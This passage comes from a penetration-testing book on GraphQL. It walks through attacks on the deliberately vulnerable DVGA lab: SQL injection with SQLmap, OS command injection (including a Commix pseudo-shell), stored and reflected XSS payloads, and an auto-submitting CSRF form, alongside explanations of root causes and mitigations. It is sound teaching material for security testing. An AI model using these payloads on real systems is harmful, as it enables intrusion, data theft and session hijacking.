reducing the number of requests and using only a basic UNION test. Enter Y.
The test found that our parameter was vulnerable, so enter N to instruct
SQLmap not to execute any more tests. The tool also highlights the payload
that led to a successful injection.

Now we can gather information about the database by using the --tables
argument, which will list the database tables in DVGA, as shown in Listing 8
-4.

# sqlmap -r request.txt --dbms=sqlite --tables 
 
[14:34:05] [INFO] fetching tables for database: 'SQLite_ma
sterdb' 
<current> 
[5 tables] 
+------------+ 



| audits     | 
| owners     | 
| pastes     | 
| servermode | 
| users      | 
+------------

Listing 8-4: Using SQLmap to list tables in the DVGA database

As you can see, we’ve returned tables for the various components in
DVGA. Great job! We were able to identify a SQL injection vulnerability
both manually and automatically.

Operating System Command Injection
Operating system (OS) command injection vulnerabilities are injections that
impact the application’s underlying operating system, and they happen when
user input is inserted into a system shell command. This allows us to
introduce additional parameters or break out of the designated command and
run one that we control.

Much like SQLi, OS command injection could have severe consequences
for an application, allowing attackers to do things such as the following:
Enumerate local services, processes, users, and groups
Exfiltrate local filesystem files, such as sensitive configuration files,
database files, and so on
Gain remote access by making the server call back to our remote shell
Turn the server into an attack launchpad using specialized malware
Turn the server into a crypto-miner

OS command injections could effectively allow us to perform system
administration tasks on the server, often within the context of the web
application user. Web servers are often running under Unix accounts such as
www-data, apache, nginx, or, if we get very lucky, the root user.

Applications are often designed to use system shell libraries to perform
backend tasks. For instance, an application might need to check whether a



remote server is alive by using the ping command or download files by
using the wget command. It might also compress files by using commands
such as zip, tar, or gunzip or back up filesystems by using commands such
as cp or rsync.

The mere use of system utilities does not necessarily indicate the presence
of OS command injection vulnerabilities, but if the system utility commands
run by the application can be influenced by arbitrary user input, things can get
dangerous. When performing source code review, look for the following
imported libraries and functions, and see if their commands are constructed
using custom user input:
Python libraries such as subprocess and os and functions like exec and eval
PHP functions such as system, shell_exec, eval, and exec
Java functions such as Runtime.exec()
Node.js modules such as child_process and functions like exec and spawn

An Example
Imagine that an application lets a user supply a URL, then downloads a file
from that URL into its own filesystem. Consider the following function in
Flask, a web framework written in Python, as an example:

@app.route('/download', methods=['POST']) 
def download(): 
  ❶ url = request.form['url'] 
  ❷ os.system('wget {} -P /data/downloads'.format(url)) 
    return redirect('/dashboard')

This code snippet is a Python web application route that exposes an
endpoint called /download. This endpoint supports requests coming in via
the HTTP POST method.

At ❶, the application takes user input submitted through an HTML form on
the website and assigns it to the url variable. At ❷, the url variable is used
in the context of a wget command, effectively allowing wget to download the
file by using the url variable. The downloaded file is then stored under the
/data/downloads folder on the server’s filesystem. As a result, if a client



provides a URL such as http://example.com/file.zip, the web application
will execute the following shell command:

wget http://example.com/file.zip -P /data/downloads

Multiple problems exist here. First, the application allows any URL to be
supplied. No checks are in place to verify that the input is even in a valid
URL format. Second, a client could supply internal URLs or private IP
addresses as a way to identify and reach internal restricted resources, which
can also lead to server-side request forgery (SSRF) vulnerabilities (more on
SSRF vulnerabilities in Chapter 9). In addition, since the application inserts
the client input directly into the wget command, we could introduce any shell
command we desire. We could also use the semicolon (;) character to break
or separate the wget command and start a new command, effectively
performing an OS command injection. This could lead to complete server
compromise.

Manual Testing in DVGA
In GraphQL, OS command injection can happen if a resolver function accepts
arguments from a GraphQL field without implementing the necessary
verifications on the input. Let’s explore what this looks like in DVGA.

Returning to the schema documentation we reviewed earlier, we have four
fields of interest, which all start with the word system: systemUpdate,
systemHealth, systemDiagnostics, and systemDebug. While field names
can differ from one application to another, the word system often hints at the
use of system shell commands under the hood, so exploring those for OS
command injections is worthwhile.

If you’ve ever performed a penetration test on your home router, you’ll
know that its debug or diagnostics page is probably the most interesting place
to look for impactful vulnerabilities. OS command injections often exist in
these interfaces, as they use network utilities such as ping or traceroute
under the hood. Home routers aren’t particularly famous for their security;
they hardly ever check input for dangerous characters and are often
vulnerable to OS command injection.



In this section, we’ll focus on systemDebug. Run the following in Altair
to see the kind of response we get:

query {
  systemDebug
}

If you’ve done a bit of Linux system administration, you may recognize the
following output excerpt; it comes from the ps command, which displays
information about running system and user processes:

"systemDebug": "    PID TTY          TIME CMD\n  11999 pt
s/1    00:00:00 bash\n 
14050 pts/1    00:00:00 python3\n  14055 pts/1    00:00:03 
python3\n  14135 pts/1 
00:00:00 sh\n  14136 pts/1    00:00:00 ps\n"

Open the Docs page in Altair. Under Queries, you’ll notice that
systemDebug takes a single argument, named arg, of type String, which
seems promising. Does the GraphQL query resolver send this argument
directly to the ps command? Let’s find out:

query {
  systemDebug(arg:"ef")
}

Now the output looks a little different. This is because e and f are two
valid arguments that the ps command accepts and that change the output’s
format. The e argument shows all processes on the system, while f changes
the output format to a full-format listing.

It looks as though the arg argument takes our input and concatenates it with
the ps command. We can attempt to introduce our own command by
modifying arg to include the semicolon character (;), followed by another
Linux command of our choice, such as uptime:

query {
  systemDebug(arg:"; uptime")
}



Now we get different output. It seems to include system information from
the GraphQL server, confirming our hypothesis that OS command injection is
possible:

PID TTY          TIME CMD\n  11999 pts/1    00:00:00 bash
\n  14050 pts/1 
1 user,  load average: 0.71, 0.84, 0.91\n"

Next, we will explore how to test for OS command injection a bit more
effectively by utilizing specialized command-injection frameworks.

Automated Testing with Commix
So far, we’ve used a manual approach to identifying OS command injection
vulnerabilities. Sometimes, however, these vulnerabilities won’t be as
straightforward to find and exploit. For example, some applications may
restrict the types of characters they accept, making it harder to inject
commands into places such as query arguments. Alternatively, a firewall
between us and the target GraphQL API could block dangerous characters
from being accepted. These security controls make it difficult to identify
holes by using a manual testing approach, which is time-consuming.

Automating command injection helps test many character variations until
we find the right logic. For example, command injections can happen by
introducing any of the following characters, among others:
A semicolon (;) to separate commands
A single ampersand (&) to send the first command to the background and
continue to a second command we introduced
A double ampersand (&&) to run a second command after the first command
finishes successfully (returns true), acting as an AND condition
A double pipe (||) to run a second command after the first command finishes
unsuccessfully (returns false), acting as an OR condition

By using automated injection tools, we can test many of these characters
with little to no effort.

Commix is a cross-platform OS command injection framework capable of
finding and exploiting these vulnerabilities in applications. Commix does its



magic by fuzzing various application inputs and inspecting the server
responses for patterns that indicate a successful injection. Commix can also
identify successful injection attempts through inference, such as by adding
delays to commands and timing the response through the use of sleep.

Let’s take another look at the GraphQL systemDebug field, which allowed
us to inject OS commands through its arg argument. Imagine that, in a
penetration test, we haven’t identified how to exploit the application in a
timely manner yet think there might be something there to explore. We can use
Commix to scale our attack by attempting dozens of payload variations and
save valuable time.

The Commix command in Listing 8-5 shows how to run an injection test
against our target application:

# commix --url="http://127.0.0.1:5013/graphql"
--data='{"query":"query{systemDebug(arg:\"test \")}"}' -p
 arg 
 
[info] Testing connection to the target URL. 
You have not declared cookie(s), while server wants to set 
its own. 
 
 
Do you want to use those [Y/n] > Y 
[info] Performing identification checks to the target URL. 
Do you recognize the server's operating system? [(W)indow
s/(U)nix/(q)uit] > U 
JSON data found in POST data. Do you want to process it?
 [Y/n] > Y 
It appears that the value 'query{systemDebug(arg:\"test
\")}' has boundaries. 
Do you want to inject inside? [Y/n] > Y 
 
[info] Testing the (results-based) classic command injecti
on technique. 
[info] The POST (JSON) parameter 'arg' seems injectable vi
a (results-based) 
classic command injection technique. 
       |_ echo UTKFLI$((13+45))$(echo UTKFLI)UTKFLI 
 
Do you want a Pseudo-Terminal shell? [Y/n] > Y 
Pseudo-Terminal (type '?' for available options) 
 



commix(os_shell) > ls 
 
__pycache__ app.py config.py core db dvga.db pastes requir
ements.txt 
setup.py static templates version.py

Listing 8-5: A successful GraphQL OS command injection with Commix

We specify the GraphQL target URL http://localhost:5013/graphql by
using the GraphQL query systemDebug along with the arg argument. We
then use the -p flag to signal to Commix that it should inject the payloads at
the specific arg placeholder.

Commix identifies that the server wants to set an HTTP cookie. We accept
this by entering Y at the command line. Commix then needs to know the type
of operating system the remote server is running so it can choose the relevant
payloads from its database. For example, Linux servers require different
injection payloads than Windows servers. We choose the Unix option by
specifying the U character.

Next, we indicate to Commix that it should process the JSON response
coming from the GraphQL server. We specify that we want to inject payloads
inside the command boundaries. Commix signals that it found the arg
argument to be injectable. It identified this by inserting the echo command
into it, along with a unique string. If the response contains this unique string,
it means the code was successfully injected.

We spawn a pseudo shell in which to send Unix commands to the server.
Lastly, we send the ls command to test that we can interact with the server
by using our shell and list its files. We can see that a few files were listed,
meaning we’ve successfully performed an OS command injection.

As you can see, Commix provides a very convenient way to run a series of
injection tests against GraphQL APIs.

Code Review of a Resolver Function
Let’s perform a code review of the resolver function for systemDebug to see
how it is implemented in DVGA (Listing 8-6). This should help us better
understand the root cause of the OS command injection vulnerability we
discovered.



def resolve_system_debug(self, info, arg=None): 
  Audit.create_audit_entry(info) 
  if arg: 
    output = helpers.run_cmd('ps {}'.format(arg)) 
  else: 
    output = helpers.run_cmd('ps') 
  return output

Listing 8-6: The resolver function in DVGA

The resolve_system_debug() Python function handles the GraphQL
field systemDebug. It accepts a single, optional argument named arg. A
default value of None is set if the client hasn’t set the argument in the query.

Within this function, the helpers.run_cmd() function runs the ps system
shell command, which is concatenated with the arg value if it is not None. If
the client provides the argument ef, the command effectively becomes the
following:

output = helpers.run_cmd('ps ef')

If the client hasn’t supplied any value to the arg argument, the function
simply runs the command ps on its own, returning the list of running
processes on the system.

The vulnerability here is that there are no security checks on the supplied
argument arg, so the resolver function will execute any Linux command it
receives. This can be mitigated in multiple ways:
Accepting only alphabetic characters (a to z) and ensuring that these are
valid ps arguments
Removing any dangerous characters that could allow an attacker to introduce
additional commands
Running the command as an unprivileged user to reduce the risk if an
injection is possible
Using dedicated built-in libraries instead of shell commands directly, such as
the psutil library in Python



NOTE

The website GTFOBins (https://gtfobins.github.io) is a useful
resource when performing OS command injections. If you can
partially or fully control a binary through a GraphQL API, you can
look up the binary name in the GTFOBins database to see how it
can be abused for breaking out of shells or escalating privileges.

So far, we covered injection vulnerabilities that, when present, impact the
server. Next, we will explore a few injection vulnerabilities that impact
clients.

Cross-Site Scripting
Injection vulnerabilities can also impact clients. Imagine a Profile Update
page on a social media website that allows users to change their full name
and bio. If the application doesn’t perform any security validations on this
input, we could try to use some GraphQL mutation to submit malicious
JavaScript code to the page and have it render on other clients’ browsers
whenever they visit our profile. The ability to execute JavaScript on a
client’s browser is powerful, because it allows us to exfiltrate browser
information such as cookies to a remote server and obtain access to sensitive
session tokens that could hijack a client’s session.

Cross-site scripting (XSS) vulnerabilities happen when client-side code
(such as JavaScript) gets interpreted and executed within the context of a
web browser. This type of vulnerability has been reported since the 1990s,
yet we still see it today, more than 30 years later.

If you are already familiar with XSS vulnerabilities, you’ll find that they
aren’t very different in GraphQL than in other API technologies such as
REST. This section provides a brief explanation of the main types of XSS
vulnerabilities: reflected, stored, and DOM based. Then we’ll explore XSS
vulnerabilities in DVGA so you can gain experience identifying them in
GraphQL APIs.

https://gtfobins.github.io/


Reflected XSS
Perhaps the simplest of all XSS vulnerabilities, reflected XSS occurs when
input is submitted to the server and returned in an immediate response to the
client, such as in HTML error messages or within an HTML page’s content.

From an attacker standpoint, exploiting a reflected XSS vulnerability
requires social engineering the victim into clicking a link that triggers the
XSS payload, causing the attacker’s JavaScript code to run in the victim’s
browser.

In the context of GraphQL, a query vulnerable to reflected XSS might look
like the following:

query { 
   hello(msg:"Black Hat GraphQL") 
}

This hello operation takes a msg parameter that accepts input from a
client—in this case, the string Black Hat GraphQL. When a client submits
this information, the server will render the page and perhaps print a message
such as Hello Black Hat GraphQL!

Now, imagine that we change the msg parameter value to a JavaScript
payload:

query { 
   hello(msg:"<script>document.cookie;</script>") 
}

When this gets rendered in the client’s browser, the <script> tag will
instruct the browser to call the document JavaScript object and print the
cookie string. Cookies will often include information related to the session,
such as identifiers.

Because this information isn’t stored in any database on the server, but
rather is reflected back to the client in the response upon submitting the
query, the XSS is of a reflection type. We could improve the payload by
having the victim’s browser send its cookie to a remote server under our
control, allowing us to exfiltrate the user’s cookies.



We mentioned earlier that this attack would require social engineering to
be useful. For example, via a phishing email, we could send the victim a
URL containing our malicious JavaScript payload and wait until they click it.

You might be asking yourself, how would this work when using POST
requests? Well, earlier in the book we mentioned that GraphQL may support
GET-based queries, so you could attempt to construct a link such as the
following and test whether the target GraphQL server supports GET-based
queries:

http://example.com/graphql?query=query%20%7B%0A%20%20hello
(msg%3A%22hello%22)%0A%7D

This URL, when decoded, looks like the following:

http://example.com/graphql?query=query { 
  hello(msg:"hello") 
}

GraphQL APIs that support GET-based queries will accept a query GET
parameter, followed by the query syntax. The query operation can be a query
or a mutation. A victim clicking this link would submit a GraphQL query
using a GET request. In Chapter 9, you will learn about how GET-based
queries can also be leveraged to carry cross-site request forgery (CSRF)
attacks.

Stored XSS
In stored, or persistent, XSS, the injection payload is persisted to a
datastore, such as a database, rather than reflected to the client as part of a
response to a query. Thus, unlike reflected XSS, a stored XSS vulnerability
will trigger the injected script every time the client’s browser loads a page
containing the malicious payload.

Often, stored XSS vulnerabilities are considered more dangerous than
reflected XSS. The existence of the XSS payload in an application’s
datastore could pose a risk to other systems, such as these:
Other servers reading the malicious input from the same datastore as the
GraphQL application. These are effectively impacted by the same exploit.



Other flows within the same GraphQL application reading from the same
datastore. The exploit would impact other parts of the application and
therefore affect other clients.

Figure 8-11 shows how a stored XSS could impact other systems.

Figure 8-11: A stored XSS vulnerability impacting adjacent applications

Our malicious input could traverse many devices and resources on a
network; after first hitting the GraphQL API layer, it could be inserted into
different datastores, such as a cache database, a relational database, or a
local file.

From there, we won’t always know whether the exploitation attempt
worked. Often we need to wait until something (or someone) triggers our
payload. Imagine that we use a GraphQL mutation to send a JavaScript
payload and then don’t receive any indication that it was successfully
rendered by the application as JavaScript code. Several explanations are
possible. For example, we may have injected the payload into a database
table that’s read only by someone with a different level of access to the
application.

Contact forms provide a good example. Say you submit a payload in a
feedback form to a store from which you recently bought an item and get a



Thank you for your submission message. Even though you received no
indication that the exploitation attempt was successful, your attack was not
necessarily a dead end. The payload might get triggered only after the store
opens the feedback form. This could happen days or even weeks later. We
call these hidden attacks blind XSS, a subcategory of stored XSS.

To take advantage of blind XSS vulnerabilities, you can use tools that
generate unique payloads with which to test. When an XSS vulnerability is
found and the payload is triggered, the payload will send probes to a
centralized server for further inspection, allowing you to capture information
about the client on which the payload was executed. One such tool is XSS
Hunter (https://xsshunter.com). Tools that notify you whenever your XSS
payload triggers are pretty convenient.

DOM-Based XSS
Document Object Model–based XSS, or DOM-based, vulnerabilities occur
when a JavaScript injection payload gets executed exclusively within the
browser’s DOM. The DOM is a representation of a web document that
allows applications to modify their structure, content, and style. All HTML
objects can be manipulated using the DOM API.

For example, the document object can be used to get the HTML <title>
tag in a web page. In DVGA’s web interface, open your browser’s developer
tools and enter the command document.title in the Console tab. You
should see the following result:

# document.title 
 
'Damn Vulnerable GraphQL Application'

While reflected XSS and stored XSS result from vulnerabilities that exist
in server-side code, DOM XSS vulnerabilities usually stem from a
vulnerability in the frontend application code facing the client. For example,
it can happen when malicious input can be inserted (often as part of a URL)
and passed to a component that supports dynamic code execution, like
JavaScript’s eval function.

Because DOM XSS vulnerabilities happen in client-side code, GraphQL
APIs aren’t the root cause of such vulnerabilities. Despite this fact, we

https://xsshunter.com/


believe it’s important to be aware of them, as community-built GraphQL
clients could be vulnerable to these types of vulnerabilities. For a
comprehensive list of the available GraphQL client libraries, visit https://gr
aphql.org/code/#javascript-client.

Testing for XSS in DVGA
In this section, we will use DVGA’s user interface to perform XSS testing.
Numerous XSS vulnerabilities are implemented into DVGA, so we can
achieve XSS in more than one way. We’ll explore a few techniques to get
you comfortable with using GraphQL queries for XSS testing.

NOTE

This section requires you to insert JavaScript payloads into DVGA
that could interfere with its web interface. Don’t worry; there’s a
way to undo it all. Restore DVGA to its last-known good state by
clicking the user icon and then choosing Rollback DVGA. This will
rebuild the database and reload the application. Alternatively, you
can take a virtual machine snapshot and restore it whenever
required.

Open your web browser in the lab and navigate to DVGA’s main interface
at http://localhost:5013.

Tampering with the Audit Page
As a first step, click some of the pages on the left sidebar, such as Public
Pastes. Your browser will start sending GraphQL queries to populate the
web page with information. Next, click the user icon at the top right; then
click Audit. You should be able to see audit events listed, as shown in Figure
8-12.

https://graphql.org/code/#javascript-client


Figure 8-12: The audit trail in DVGA

This Audit page suggests that the application is automatically tracking
every query the browser sent while we were browsing the page, gathering
information such as the following:
The name of the actor or user (in this case, DVGAUser)
The name of the GraphQL operation that was used (in this case, getPastes)
The executed query (in this case, the pastes GraphQL field used with the
public argument and a few selected fields, such as id, title, and
content)

This input is fully under our control. Let’s first explore how we can tamper
with the GraphQL operation to impact the Audit page. Copy and paste the
following query into Altair and run it:

mutation SpoofedOperationName {
  createPaste(title:"Black Hat GraphQL", content:"I just s
poofed the operation name.") {
    paste {
      content
      title
    }



  }
}

The mutation creates a new paste with the title Black Hat GraphQL and
content I just spoofed the operation name. At the same time, we
return the newly created paste’s content and title fields, which should
have identical values.

Refresh the Audit page. You should be able to see that it now shows our
spoofed operation name SpoofedOperationName under the GraphQL
Operation column, as shown in Figure 8-13. This is what a security analyst
might see if attempting to monitor GraphQL queries using operation names.

Figure 8-13: The Audit page showing the modified operation name in DVGA

As we mentioned earlier, different GraphQL server implementations may
allow operation names to include special characters, which could be an
injection vector, so always test these whenever possible.

Finding Stored XSS in the CreatePaste Mutation
When we create a new paste in DVGA, the GraphQL fields used in our
createPaste mutation, such as title and content, are shown on the
Public Pastes page. The screenshot in Figure 8-14 shows what this looks
like.



Figure 8-14: Paste structure and contents in DVGA

As you can see, our paste shows up on the web page. This is a good
opportunity to start testing the createPaste field with inputs such as
JavaScript code to see whether the data is safely rendered in the web
interface.

Go ahead and create a new paste using the mutation query shown in Listing
8-7.

mutation { 
  createPaste(title:"XSS", content:"<script>alert(\"XSS\")
</script>") { 
    paste { 
      title 
      content 
    } 
  } 
}

Listing 8-7: Injecting an XSS payload using the createPaste mutation

This mutation creates a new paste that includes a JavaScript <script> tag
in the content argument. If the application is vulnerable to XSS, this code
will get rendered in the browser and an alert message box will pop up with
the message XSS. After sending this mutation query, head over to the Public



Pastes page. You should be greeted with a pop-up message, as shown in Fig
ure 8-15.

Figure 8-15: An XSS payload triggered via a malicious mutation

Let’s walk through what happened here. We first created a new paste using
createPaste, supplying a malicious JavaScript payload to the mutation’s
content argument. The API then stored the new paste in the database.
Because our client is using a GraphQL subscription operation over the
WebSocket protocol, and since subscriptions are real time, we immediately
see the new paste we created containing the malicious JavaScript code. This
is an example of a stored XSS vulnerability.

Finding Reflected XSS in the File Upload Functionality
Now we’ll explore the creation of a new paste using a file upload
functionality. This should give you a sense of how file uploads look in
GraphQL and whether they could be vulnerable to XSS. Download the
following text file to your computer: https://github.com/dolevf/Black-Hat-G
raphQL/blob/master/ch08/paste_from_file.txt.

Open the Upload Paste page in DVGA to upload the text file. This file
will eventually be stored in the database. Click Choose File and select the

https://github.com/dolevf/Black-Hat-GraphQL/blob/master/ch08/paste_from_file.txt


file you downloaded; then click Upload.
You can use Burp Suite to intercept the request before clicking the Upload

button to see what the GraphQL mutation looks like. Alternatively, use the
browser’s Network tab in its developer tools. Figure 8-16 shows the
mutation in Burp Suite.

Figure 8-16: The UploadPaste mutation in Burp Suite

As you can see, we’re using UploadPaste to create a new paste with a
local file. You can also see that we’re passing two variables, content and
filename, as part of the HTTP POST JSON payload. The content key
includes the data present in the uploaded file, and the filename key is the
filename that the server will set on disk.

The payload defines an HTML heading (<h3>), a paragraph (<p>), and a
JavaScript script tag (<script>) that calls the alert function with the string
Black Hat GraphQL. This information will be rendered by the browser and,
since alert is used, a pop-up window will appear, confirming our ability to
run JavaScript through XSS injection.

After this query is sent to the server (make sure you click Forward in Burp
Suite to do this), we can view the newly uploaded file by navigating to the
Private Pastes page. You should be able to see a JavaScript pop-up, as
shown in Figure 8-17.



Figure 8-17: The paste code is executed in the browser and triggers the alert window.

We were able to trigger a Stored XSS vulnerability by using UploadPaste
to upload a malicious text file containing JavaScript and HTML code.

Summary
In this chapter, we took a close look at injection vulnerabilities, ranging from
those that impact databases and operating systems to those that affect client
browsers, including classic and blind SQLi; reflected, stored, and DOM-
based XSS; and OS command injection.

Many issues can arise when GraphQL APIs fail to carefully validate input.
We identified the various input entry points in GraphQL—from queries,
fields, and directive arguments to operation names—all of which make up the
injection surface. Injection vulnerabilities can have a devastating impact on
application data, and while frameworks have gotten better at protecting
against them by offering reusable security methods, they are still prevalent
today.



9
REQUEST FORGERY AND HIJACKING

When attackers execute hijacking and
forgery-based attacks against servers and
clients, they can take sensitive actions
with potentially devastating outcomes. In
this chapter, we’ll test for these

vulnerabilities and learn about defenses an application
might implement to mitigate these types of flaws.

Request forgery occurs when an attacker is able to carry out an action,
ideally a sensitive one, on behalf of a client or server. When attackers target
clients, they may, for example, try to force the client to transfer money to a
digital wallet or bank account that they control. When attackers target
servers, they may instead aim to obtain sensitive server-side data, probe for
hidden or internal services, make internal requests to restricted networks,
access cloud environment–related information, and more. By contrast,
hijacking refers to the ability to steal another user’s session.

In the context of GraphQL, each of these attack vectors poses a threat.
We’ll discuss three forms that these attacks can take: cross-site request
forgery (CSRF), server-side request forgery (SSRF), and cross-site
WebSocket hijacking (CSWSH).

Cross-Site Request Forgery



Often pronounced sea-surf, CSRF is a client-side attack that causes victims
to execute unwanted actions on a website to which they are authenticated. In
such an attack, the attacker writes code and embeds it in a website that they
operate (or, sometimes, in a third-party site that allows them to do so). They
then force the victim to visit that site by leveraging attacks such as social
engineering. When the code executes in the victim’s browser, it forges and
sends a request to the server.

More often than not, these requests perform state-changing actions. They
might update the email or password of an account, transfer money from one
account to another, disable account security settings such as multifactor
authentication, grant permissions, or even add a new account to an
application. Figure 9-1 illustrates the typical CSRF attack flow, using a
banking website as an example.

Figure 9-1: The flow of a CSRF attack



CSRF takes advantage of the fact that, when a client is logged in to an
application, the browser sends necessary information in every HTTP request
it makes to the site, such as session cookies (in the Cookie header), and other
standard headers like Host or User-Agent. Web servers have no way to
distinguish between legitimate requests and those that result from a user
being tricked, which is why CSRF attacks work well when no mitigations are
in place to prevent them.

Attackers use many techniques to achieve CSRF, but one common tactic
relies on specially crafted HTML forms, created using <form> tags. The
attacker waits for a user to submit a form on their website or, to increase
their chances of success, does so automatically using JavaScript code. When
a condition allows an attacker to perform a CSRF attack using the GET
method, they might also use HTML tags such as <a> and <img> as vectors.
These tags, which aren’t usually considered harmful, could provide an
attacker with the option to embed CSRF payloads in websites that allow the
insertion of image links and hyperlinks. These tags can make only plain GET
requests, so if a website has anti-CSRF tokens in place, the attack probably
won’t work.

NOTE

HTML forms can use only the HTTP methods GET and POST.
Other potential state-changing methods, such as DELETE or PUT,
are not supported.

Because a CSRF attack relies on the victim’s authenticated session, the
attacker can take only those actions that the victim is allowed to perform on
the website. For example, if a victim is logged in to a banking website but
can transfer only $1,000 a day, a CSRF attack would be limited to
transferring that dollar amount. Additionally, if a particular request requires
administrator-level privileges that the client session doesn’t have, the request
will fail. Chapter 7 provides techniques for bypassing certain GraphQL
authorization controls.

CSRF is at least two decades old. The first CSRF-related vulnerability
with an assigned CVE identifier we could find, CVE-2002-1648, is from



2002, although some people suggest that CSRF vulnerabilities may go back
as far as 2001. When it comes to GraphQL, developers may use either
queries or mutations to build schemas that support performing sensitive
actions (such as changing account settings or transferring money from one
account to another). This may allow an attacker to perform state-changing
actions. As you’ve learned, state-changing actions are usually done with
mutations. However, developers may choose to implement these using
queries.

Locating State-Changing Actions
A state-changing action alters the application in some way. For example,
changing DVGA’s mode from Beginner to Expert, or vice versa, is
considered a state-changing operation. If you’re hunting for CSRF, you
should target these actions. As you know by now, state-changing actions in
GraphQL are typically performed using mutations. However, you can
sometimes perform write operations that are state changing by using
GraphQL queries.

Let’s begin with the more likely scenario: identifying state-changing
operations based on mutations. To find impactful CSRF vulnerabilities, try
extracting the list of available mutations and searching for ones that give you
a foothold in the application or allow you to escalate your existing
privileges. The introspection query shown in Listing 9-1 should return the
mutation fields that exist in a schema.

query {
  __schema {
    mutationType {
      fields {
        name
      }
    }
  }
}

Listing 9-1: Introspection query to extract mutation field names

Go ahead and run this query against DVGA by using Altair, ensuring that
DVGA’s mode is set to Beginner. You should identify a few state-changing



actions, such as createUser, importPaste, editPaste, uploadPaste,
deletePaste, and createPaste.

In cases when you don’t notice any sensitive actions, the next thing to look
for is whether you can use queries to perform state-changing actions.
GraphQL servers sometimes support operations over GET, and when they
do, they might intentionally reject GET-based mutations to allow read
operations using GET only. This provides a degree of protection against
CSRF-like vulnerabilities, as you’ll learn later in this chapter. However, if
our target uses any GET-based queries to perform important state changes,
that mitigation is useless. Execute the introspection query shown in Listing 9-
2 to fetch the names of the available queries.

query {
 __schema {
  queryType {
    fields {
      name
    }
  }
 }
}

Listing 9-2: Introspection query to extract query field names

Here is an excerpt of the returned list:

{ 
  "name": "search" 
}, 
{ 
  "name": "audits" 
}, 
{ 
  "name": "deleteAllPastes" 
} 
--snip--

Does any query name stand out? The list has a few potential state-changing
queries, but deleteAllPastes is particularly interesting. A query that
deletes all pastes would fit better as a mutation than a query. However,



because this application is vulnerable, it doesn’t take CSRF issues into
consideration.

Testing for POST-Based Vulnerabilities
Now that we’ve identified a few state-changing queries and mutations, we
can attempt to craft an HTML form that exploits them. Our attack might trick
a user into clicking a link that redirects them to a malicious website
containing a form like the one in Listing 9-3. When submitted, it will make a
POST request to DVGA by using the createPaste mutation.

<html> 
  <h1>Click the button below to see the proof of concept!
</h1> 
  <body> 
     <form id="auto_submit_form" method="POST" action="htt
p://localhost:5013/graphql"> 
       <input type="hidden" name="query" value="mutation { 
createPaste(title:&quot;CSRF&quot;, 
content:&quot;content&quot;, 
public:true, burn: false) { paste { id content title burn
 } }}"/> 
       <input type="submit" value="Submit"> 
     </form> 
  </body> 
<html>

Listing 9-3: HTML-form POST-based CSRF exploit

We use the method attribute to define a POST-based form named query.
This form will perform the request to the DVGA’s URL, defined in the
action attribute. You’ll notice that we also define a hidden <input> tag by
setting the type attribute to hidden. This ensures that the form used to
execute the query will remain invisible to the victim; it won’t display in their
browser. We encode and define the GraphQL mutation in the value attribute.
The decoded version of the mutation looks like this:

mutation { 
  createPaste(title: "CSRF", content: "content", public: t
rue, burn: false) { 
    paste { 
      id 



      content 
      title 
      burn 
    } 
  } 
}

To observe how this form would work in an attack, download the CSRF
proof-of-concept code from the book’s GitHub repository at https://github.c
om/dolevf/Black-Hat-GraphQL/blob/master/ch09/post_csrf_submit.xhtml.
Save this file to Kali’s desktop with the extension .xhtml.

Next, let’s use Burp Suite to view the outbound requests sent in a CSRF
attack. Launch Burp Suite and open its built-in browser by clicking Open
Browser. Make sure it’s currently set to not intercept requests. Then, drag
and drop the HTML file from your desktop into the browser window. You
should see the Submit button shown in Figure 9-2.

Figure 9-2: A POST-based CSRF example

In Burp, toggle the Intercept button to Intercept Is On. Now, click Submit
in the form and observe the resulting request in Burp’s Proxy tab. It should

https://github.com/dolevf/Black-Hat-GraphQL/blob/master/ch09/post_csrf_submit.xhtml


look similar to Figure 9-3.

Figure 9-3: The POST request sent from a victim’s browser after a CSRF attack

As you can see, the mutation is encoded and sent as a single value to the
query body parameter. This happens because POST-based HTML forms
transform <input> tags into HTTP body parameters, and we used an input
tag named query.

Because HTML forms can’t send JSON-formatted data without some help
from a language like JavaScript, the submitted mutation isn’t sent as JSON,
as indicated by the Content-Type header. Here, it is set to application/x-
www-form-urlencoded rather than application/json. Even so, some
GraphQL servers may convert the payload back to JSON in the backend,
despite lacking the proper Content-Type header.

When an HTML form employs the POST method, we can use one of the
following three encoding types to encode the data: application/x-www-
form-urlencoded, multipart/form-data, or text/plain. By default,
when the enctype attribute isn’t set, such as in our exploit code, the form
uses application/x-www-form-urlencoded, which encodes all characters



before sending them to the server. Now that you’ve seen how the CSRF
exploit triggered a GraphQL query, click Forward to send it to the server.

Automatically Submitting a CSRF Form
Enticing a user to click a button could introduce challenges. If the user
hesitates and doesn’t go through with it, our attack fails. What if we could
submit the form automatically, as soon as they visit the page? This is possible
to do with JavaScript code. Listing 9-4 executes the form two seconds after
someone visits the page.

async function csrf() { 
    for (let i = 0; i < 2; i++) { 
        await sleep(i * 1000); 
    } 
    document.forms['auto_submit_for'].submit(); 
}

Listing 9-4: Automatic form submission with JavaScript

The two-second delay is there to give you some time to understand what
you are looking at. In real-world scenarios, you’ll want to forge the request
on behalf of the victim immediately, without any delay.

To see this attack in action, download the file at https://github.com/dolev
f/Black-Hat-GraphQL/blob/master/ch09/post_csrf_submit_auto.xhtml to
Kali’s desktop. Next, toggle on Burp’s intercept mode; then drag and drop the
downloaded file into the browser. As soon as you drop it, the message This
form is going to submit itself in 2 seconds should appear. Next,
you should see the intercepted POST request in Burp. If you click Forward,
you should see a response from the GraphQL API in the browser indicating
that the mutation resulted in the creation of a new paste, including some
metadata, like the paste’s ID, title, and so on.

To verify that the paste creation has indeed worked, open the DVGA user
interface at http://localhost:5013 and visit the Public Pastes page. You
should see the newly created paste shown in Figure 9-4.

https://github.com/dolevf/Black-Hat-GraphQL/blob/master/ch09/post_csrf_submit_auto.xhtml


Figure 9-4: A paste created via a CSRF attack

Congratulations! You just simulated forging a paste mutation on behalf of a
victim.

Testing for GET-Based Vulnerabilities
Many GraphQL implementations forbid any use of GET, but sending
mutations by using the GET method is especially taboo, because it’s
considered a security risk that could lead to CSRF vulnerabilities, as you’ve
learned. More often than not, GraphQL servers will reject any incoming
queries that use a mutation over the GET method. To test whether a GraphQL
server supports them, you could send a cURL command like this one:

# curl -X GET "http://localhost:5013/graphql?query=mutatio
n%20%7B%20__typename%20%7D"

The %20 indicates spaces, %7B and %7D are the URL-encoded opening and
closing curly brackets ({}) of the mutation query, and the plus sign (+) is an
encoded space. When sent to DVGA, the response to this cURL command is
as follows:

{"errors":[{"message":"Can only perform a mutation operati
on from a POST request."}]}



As you can see, DVGA does not allow mutations using the GET method.
However, in penetration tests, assume that nothing is off the table and test all
